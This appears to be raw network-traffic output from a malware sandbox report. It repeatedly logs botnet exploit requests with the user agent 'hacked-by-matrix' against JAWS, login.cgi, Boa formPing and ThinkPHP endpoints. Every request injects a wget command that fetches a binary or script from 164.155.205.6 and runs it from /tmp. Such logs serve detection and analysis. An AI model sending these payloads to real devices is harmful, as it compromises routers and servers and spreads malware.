Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
